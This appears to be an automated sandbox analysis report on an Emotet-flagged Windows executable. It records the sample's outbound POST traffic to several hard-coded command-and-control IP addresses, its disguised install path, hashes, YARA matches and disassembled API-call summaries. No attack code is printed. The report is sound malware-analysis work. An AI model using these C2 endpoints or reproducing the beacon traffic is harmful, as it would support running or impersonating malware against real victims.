Aug 20, 2024 17:48:19.954139948 CEST	625	OUT	POST /UgjaCEdTc9AlgOLmob/lJ2pCDETY/jJXL8eM/bkqmaKbdvAGP/AYsIr7b4/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 91.211.88.52/UgjaCEdTc9AlgOLmob/lJ2pCDETY/jJXL8eM/bkqmaKbdvAGP/AYsIr7b4/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----------------------ayNnG1JNfmOIUancEJINhP Host: 91.211.88.52:7080 Content-Length: 4628 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.12	62410	209.141.54.221	8080	6716	C:\Windows\SysWOW64\provcore\Websocket.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 17:48:22.190536976 CEST	525	OUT	POST /mf37D3hHo2BT/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 209.141.54.221/mf37D3hHo2BT/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----------------CRPJROu8mMuITH9V Host: 209.141.54.221:8080 Content-Length: 4628 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.12	62411	185.94.252.104	443	6716	C:\Windows\SysWOW64\provcore\Websocket.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 17:48:24.555603981 CEST	682	OUT	POST /iXgMw5IajHPl8YAN7YB/fMpMhY2ZgzV/1nmECrP2Ezqoam/NWXlULDZs3bsJjB/p3LYI79/w2aCyOD7bcdtE/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 185.94.252.104/iXgMw5IajHPl8YAN7YB/fMpMhY2ZgzV/1nmECrP2Ezqoam/NWXlULDZs3bsJjB/p3LYI79/w2aCyOD7bcdtE/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=-----------------------3hc2nliStBsMSODJE62qaln Host: 185.94.252.104:443 Content-Length: 4628 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.12	62418	174.45.13.118	80	6716	C:\Windows\SysWOW64\provcore\Websocket.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 17:48:27.434936047 CEST	526	OUT	POST /Ddrl52fpHV0Ytv/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 174.45.13.118/Ddrl52fpHV0Ytv/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=------------------BqLyxgk1GkivHaCG9j Host: 174.45.13.118 Content-Length: 4628 Cache-Control: no-cache
Aug 20, 2024 17:48:27.434988022 CEST	4628	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 42 71 4c 79 78 67 6b 31 47 6b 69 76 48 61 43 47 39 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 76 72 Data Ascii: --------------------BqLyxgk1GkivHaCG9jContent-Disposition: form-data; name="vrrhteskolrhp"; filename="buhxictpfvdxdd"Content-Type: application/octet-stream(\|2q.A@8L{r*DoBRJXQT9&!5I~DaH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.12	62419	87.106.136.232	8080	6716	C:\Windows\SysWOW64\provcore\Websocket.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 17:48:51.785458088 CEST	569	OUT	POST /gfPMhF/Be2SElHPLyLeACf/UucmketfQMMC3NqYN/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 87.106.136.232/gfPMhF/Be2SElHPLyLeACf/UucmketfQMMC3NqYN/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----------5VkCfPKqCt Host: 87.106.136.232:8080 Content-Length: 4628 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.12	62420	62.75.141.82	80	6716	C:\Windows\SysWOW64\provcore\Websocket.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 17:48:57.138402939 CEST	630	OUT	POST /9HkMmi/SILN3JKyaX8hSqvMF38/aphjJUbJpUw/J8LsQXmX6qW1KnnNp/dmiOqQTXBol2TIb9pL/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 62.75.141.82/9HkMmi/SILN3JKyaX8hSqvMF38/aphjJUbJpUw/J8LsQXmX6qW1KnnNp/dmiOqQTXBol2TIb9pL/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----------F7zfpJ936g Host: 62.75.141.82 Content-Length: 4628 Cache-Control: no-cache
Aug 20, 2024 17:48:57.138427973 CEST	4628	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 46 37 7a 66 70 4a 39 33 36 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 67 77 78 65 77 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 Data Ascii: ------------F7zfpJ936gContent-Disposition: form-data; name="gwxew"; filename="psitexztpypnqpo"Content-Type: application/octet-stream=3qJea)/$[fM!z=e8MApb3Xt;o4kn';Ug,-+aUM;

Target ID:	0
Start time:	11:47:07
Start date:	20/08/2024
Path:	C:\Users\user\Desktop\ExeFile (356).exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ExeFile (356).exe"
Imagebase:	0x400000
File size:	437'248 bytes
MD5 hash:	4C1C997C16309A2D391E1D39988000CC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000002.2389548651.00000000020E4000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Emotet_5528b3b0, Description: unknown, Source: 00000000.00000002.2389548651.00000000020E4000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000002.2389343212.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Emotet_5528b3b0, Description: unknown, Source: 00000000.00000002.2389343212.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Emotet_5528b3b0, Description: unknown, Source: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:47:07
Start date:	20/08/2024
Path:	C:\Windows\SysWOW64\provcore\Websocket.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\provcore\Websocket.exe"
Imagebase:	0x400000
File size:	437'248 bytes
MD5 hash:	4C1C997C16309A2D391E1D39988000CC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000002.00000002.3637813859.0000000000734000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Emotet_5528b3b0, Description: unknown, Source: 00000002.00000002.3637813859.0000000000734000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000002.00000002.3637503164.0000000000600000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Emotet_5528b3b0, Description: unknown, Source: 00000002.00000002.3637503164.0000000000600000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Emotet_5528b3b0, Description: unknown, Source: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:47:52
Start date:	20/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff7d3e90000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.3%
Dynamic/Decrypted Code Coverage:	73.1%
Signature Coverage:	28.8%
Total number of Nodes:	420
Total number of Limit Nodes:	27

Executed Functions

Function 0040FA80 Relevance: 63.2, APIs: 23, Strings: 13, Instructions: 250
windowregistrythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040FA8E
LoadIconW.USER32 ref: 0040FAD2
LoadCursorW.USER32(00000000,00007F00), ref: 0040FADF
LoadIconW.USER32 ref: 0040FB0B
CreateThread.KERNELBASE(00000000,00000000,Function_0000ECC0,00000000,00000002,?), ref: 0040FB23
RegisterClassExW.USER32(?), ref: 0040FB42
MessageBoxW.USER32(00000000,Call to RegisterClassEx failed!,Create Process,00000000), ref: 0040FB5B
CreateWindowExW.USER32(00000000,win32app,Windows Process Manager,00CF0000,80000000,80000000,000001B8,00000258,00000000,00000000,?,00000000), ref: 0040FBA4
MessageBoxW.USER32(00000000,Call to CreateWindow failed!,Win32 Guided Tour,00000000), ref: 0040FBBC

Strings

View All Processes, xrefs: 0040FC4D
Call to CreateWindow failed!, xrefs: 0040FBB6
Windows Process Manager, xrefs: 0040FB92, 0040FC9B
Cancel, xrefs: 0040FD2B
BUTTON, xrefs: 0040FBEB, 0040FC1F, 0040FC52, 0040FD03, 0040FD30
Run, xrefs: 0040FB29
Kill Process, xrefs: 0040FC1A
Edit, xrefs: 0040FCCA
Win32 Guided Tour, xrefs: 0040FBB1
win32app, xrefs: 0040FB03, 0040FB97, 0040FCA0
Call to RegisterClassEx failed!, xrefs: 0040FB54
Create Process, xrefs: 0040FB4F, 0040FBE6
0, xrefs: 0040FAA6

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: Load$CreateIconMessage$ClassCursorRegisterThreadWindow_memset
String ID: 0$BUTTON$Call to CreateWindow failed!$Call to RegisterClassEx failed!$Cancel$Create Process$Edit$Kill Process$Run$View All Processes$Win32 Guided Tour$Windows Process Manager$win32app
API String ID: 713769167-1192827546
Opcode ID: 952da5468408a189c14926ca3cf5cae3a85ce14d76ca3222c90a6cd4c0bb2d80
Instruction ID: d065e50bf912697da28d798f56a1b3ea1efd5d731bf56130ae663ba60a7ce2a6
Opcode Fuzzy Hash: 952da5468408a189c14926ca3cf5cae3a85ce14d76ca3222c90a6cd4c0bb2d80
Instruction Fuzzy Hash: 9A8120B1BD4300BAF220DB50DC56FDA37A8AB98F05F10842AF7017A2D0D7F969458B5E

Function 020E1030 Relevance: 18.4, APIs: 12, Instructions: 362
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(020E4054,020E4040), ref: 020E1047
GetProcAddress.KERNEL32(00000000), ref: 020E104E

Part of subcall function 020E1B30: SetLastError.KERNEL32(0000000D,?,020E1070,?,00000040), ref: 020E1B3D

SetLastError.KERNEL32(000000C1), ref: 020E1096

Memory Dump Source

Source File: 00000000.00000002.2389523241.00000000020E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 020E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20e1000_ExeFile (356).jbxd

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID:
API String ID: 1866314245-0
Opcode ID: 39a277d9abb3f7ada3974502ee139228ab0b7c7531012580cde144292d2959f7
Instruction ID: f17d650bd038c175acb5bcdb1fa688bcc818c9f7d3f8fc57d77390fc6a418cac
Opcode Fuzzy Hash: 39a277d9abb3f7ada3974502ee139228ab0b7c7531012580cde144292d2959f7
Instruction Fuzzy Hash: D4F1E6B4E01209EFDF04DF94D990BAEB7B1BF48304F108599E91AAB341D774AE91DB90

Function 00607D60 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 219
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,000A8C00,0100754F,00000000,000A8C00,?,00989680,?,?,00000000), ref: 00607EE5

Strings

Ou, xrefs: 00607E2A
fX, xrefs: 00607D84
DR, xrefs: 00607D9C

Memory Dump Source

Source File: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000000.00000002.2389358921.0000000000600000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2389388203.000000000060D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_600000_ExeFile (356).jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: DR$Ou$fX
API String ID: 823142352-261343277
Opcode ID: da14d96349d19b6851c801be004725f8cae35dac4bd273fa2ec22d1666f6cf57
Instruction ID: cf4d2cd10a7e5777cdc9f6ff615d9bbabe42395041f4383e72fa27b7b2e49c30
Opcode Fuzzy Hash: da14d96349d19b6851c801be004725f8cae35dac4bd273fa2ec22d1666f6cf57
Instruction Fuzzy Hash: 1B817C71A883018FD758DF68D84562FB6E6AB88744F000D6DF186D73D0DB74DE098B96

Function 006038B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 189
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,33A6B453,00000001,00000000), ref: 00603AC4
FindNextFileW.KERNELBASE(?,?,?,33A6B453,00000001,00000000), ref: 00603B1B
FindClose.KERNELBASE(?), ref: 00603B55

Strings

., xrefs: 0060390D
*LO, xrefs: 00603AA6

Memory Dump Source

Source File: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000000.00000002.2389358921.0000000000600000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2389388203.000000000060D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_600000_ExeFile (356).jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID: *LO$.
API String ID: 3541575487-2132576683
Opcode ID: 80a8e87440a71c8faddf5f166f25a53e367335088e3ee787c88985164d4632d1
Instruction ID: 8e19d6d1825a302b1f5f7b591363b7fbf3ebf5ae825d501c8c35216daee89620
Opcode Fuzzy Hash: 80a8e87440a71c8faddf5f166f25a53e367335088e3ee787c88985164d4632d1
Instruction Fuzzy Hash: F35103B17D422047CB6CABB49840ABB73AF9F94741F40892EF546C73C1EA75CE058752

Function 006080D0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 169
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,0100754F,00000000), ref: 00608218

Strings

Ou, xrefs: 00608190
m, xrefs: 00608100
DR, xrefs: 00608108

Memory Dump Source

Source File: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000000.00000002.2389358921.0000000000600000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2389388203.000000000060D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_600000_ExeFile (356).jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: DR$Ou$m
API String ID: 823142352-902897619
Opcode ID: 3451f2d64c8d5ca0aa1f3872c7c9ed46e77a21262abb2292114655e30d729447
Instruction ID: 92bf6bd18c4d93a77e4ac20b0ba7b06ef9e64f08660f5b12f21b1c78cbaa83c9
Opcode Fuzzy Hash: 3451f2d64c8d5ca0aa1f3872c7c9ed46e77a21262abb2292114655e30d729447
Instruction Fuzzy Hash: 8B61AB32A887019FD758DF68C845A6FB6E6ABD4714F00891DF4D5972D0DBB8CA098B82

Function 00604F50 Relevance: 1.7, APIs: 1, Instructions: 249
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,00000000,?,?,006087E4,?,33A6B453,?,?), ref: 006052D3

Memory Dump Source

Source File: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000000.00000002.2389358921.0000000000600000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2389388203.000000000060D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_600000_ExeFile (356).jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: ed563b744e4d8014fd8e7e7edc3d69609ece648e70fd0af299ce935feb4aab63
Instruction ID: d8adbde747c537bf41f70329ac6cd5b7af13e3166ec27173499bd5c4fee88958
Opcode Fuzzy Hash: ed563b744e4d8014fd8e7e7edc3d69609ece648e70fd0af299ce935feb4aab63
Instruction Fuzzy Hash: 1381E431BC07115BDB6CABB88C91B6B72DBAFC8740F444569F942DB3D0EE649E014B85

Function 00603060 Relevance: 1.7, APIs: 1, Instructions: 166
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00000220), ref: 006031CB

Memory Dump Source

Source File: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000000.00000002.2389358921.0000000000600000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2389388203.000000000060D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_600000_ExeFile (356).jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1488313f0a26ee278cbc29c89f95d7d9b8eda96f28d87761a41d4e4dc368ce7e
Instruction ID: 2c4521386052b931224d0326918882fe73dffc1371b67ece1b80bb7f91f329a3
Opcode Fuzzy Hash: 1488313f0a26ee278cbc29c89f95d7d9b8eda96f28d87761a41d4e4dc368ce7e
Instruction Fuzzy Hash: 355191317843118BCB5CCF68949456FBBEAABD8341F10492EF456C7390DB30DA4A8792

Function 00606D70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00606CD0: LoadLibraryW.KERNELBASE(00000000,?,33A6B453,00606F05,?,33A6B453,006068AC), ref: 00606D00

LoadLibraryW.KERNELBASE(00000000,?,33A6B453,006068AC), ref: 00606E87

Strings

;g+, xrefs: 00606E21
;g+, xrefs: 00606DF4

Memory Dump Source

Source File: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000000.00000002.2389358921.0000000000600000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2389388203.000000000060D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_600000_ExeFile (356).jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: ;g+$;g+
API String ID: 1029625771-3974242271
Opcode ID: 9c8f5dec82a1de69cfd0f136abc5ec1174ac9b431096b051c7f5a4147feb308e
Instruction ID: 1dbc1cda1655697f5720a6c4a39669cc77dceda6b1ef3a88049829ea097245cf
Opcode Fuzzy Hash: 9c8f5dec82a1de69cfd0f136abc5ec1174ac9b431096b051c7f5a4147feb308e
Instruction Fuzzy Hash: 6B319E207C82108BEAACAEBCC85567F25879F84300F24953AF646CB3E1DDB4CC665796

Function 00605C20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 00605C4B

Strings

?*S, xrefs: 00605C38

Memory Dump Source

Source File: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000000.00000002.2389358921.0000000000600000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2389388203.000000000060D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_600000_ExeFile (356).jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: ?*S
API String ID: 621844428-1645505001
Opcode ID: 6bd16969eaa2fb291e12ce254cbfbd6484383597f892bd3c5237904a7d567573
Instruction ID: 64e516508abb63fca7168fefd43063a4ece9639079de8a2e521ffc91939d9dd3
Opcode Fuzzy Hash: 6bd16969eaa2fb291e12ce254cbfbd6484383597f892bd3c5237904a7d567573
Instruction Fuzzy Hash: 3CD0C9207C161047E69C6BF5D812B2B6297ABA0701F40552E750ACF3C6DFA18D215754

Function 005F002D Relevance: 4.9, APIs: 3, Instructions: 387
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,005F0005), ref: 005F00E9
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,005F0005), ref: 005F0111

Memory Dump Source

Source File: 00000000.00000002.2389343212.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_ExeFile (356).jbxd

Yara matches

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID:
API String ID: 2032221330-0
Opcode ID: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction ID: 3a1af6495b0b4405637906f6bca21c906e5cae1f0e7f00036f37807f567e713f
Opcode Fuzzy Hash: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction Fuzzy Hash: 55D1C17560430A8FDB14CF19CC8477ABBE0FF84314F18592DEA858B282E778E845CB91

Function 0041025B Relevance: 4.6, APIs: 3, Instructions: 58
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FF_MSGBANNER.LIBCMT ref: 00410274

Part of subcall function 00412A13: __NMSG_WRITE.LIBCMT ref: 00412A3A
Part of subcall function 00412A13: __NMSG_WRITE.LIBCMT ref: 00412A44

__NMSG_WRITE.LIBCMT ref: 0041027B

Part of subcall function 00412864: GetModuleFileNameW.KERNEL32(00000000,0041F722,00000104,00000001,00000000,?), ref: 00412900
Part of subcall function 00412864: __invoke_watson.LIBCMT ref: 00412929
Part of subcall function 00412864: _wcslen.LIBCMT ref: 0041292F
Part of subcall function 00412864: _wcslen.LIBCMT ref: 0041293C

Part of subcall function 0041257E: ___crtCorExitProcess.LIBCMT ref: 00412586
Part of subcall function 0041257E: ExitProcess.KERNEL32 ref: 0041258F

Part of subcall function 00411E2C: __getptd_noexit.LIBCMT ref: 00411E2C

RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00413CED,?,00000001,?,?,004147E0,00000018,0041BE58,0000000C,00414870), ref: 004102A0

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: ExitProcess_wcslen$AllocateFileHeapModuleName___crt__getptd_noexit__invoke_watson
String ID:
API String ID: 4285633346-0
Opcode ID: 85379f81ff0939ec83c584100c10549c30d19fa7ca46aaa6a850a0ef7457cf0a
Instruction ID: 7e8d332be424b32aeb7339ed39cdb599a77868d368d5d78e5393627917a903ca
Opcode Fuzzy Hash: 85379f81ff0939ec83c584100c10549c30d19fa7ca46aaa6a850a0ef7457cf0a
Instruction Fuzzy Hash: 7401B535244301AAE22177B6BC56BEB3748AF81378F20007BF505962E1DAFC8CD5826D

Function 00609530 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,?,33A6B453,?,?), ref: 006097A0

Strings

y7@+, xrefs: 006097DF

Memory Dump Source

Source File: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000000.00000002.2389358921.0000000000600000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2389388203.000000000060D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_600000_ExeFile (356).jbxd

Yara matches

Similarity

API ID: ManagerOpen
String ID: y7@+
API String ID: 1889721586-1251112282
Opcode ID: da5ded9e30d80f916b77516d6b3697f9206bb9c5af19efb48474a8dc3e2f3bb4
Instruction ID: 2fde52583634a6b31a4d7a3068689a3c764712dcc1f90d7045bdc76ed7f2dbc9
Opcode Fuzzy Hash: da5ded9e30d80f916b77516d6b3697f9206bb9c5af19efb48474a8dc3e2f3bb4
Instruction Fuzzy Hash: EF71AD707D43018BD75D9F68AC9576B72A7AB84B00F10082EF145DB3D2EA70DD09CBA6

Function 00604A80 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 87
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 00604B01

Strings

D, xrefs: 00604AC0

Memory Dump Source

Source File: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: true

Associated: 00000000.00000002.2389358921.0000000000600000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2389388203.000000000060D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_600000_ExeFile (356).jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: D
API String ID: 963392458-2746444292
Opcode ID: 5126ed7d76014ce7b1d8cf51a1c447f4a24b0b93feced25e50ebdec9480f8278
Instruction ID: 466a66d7c949186711452db90c214ed688910a46fb9693bd5b42324434b3aae5
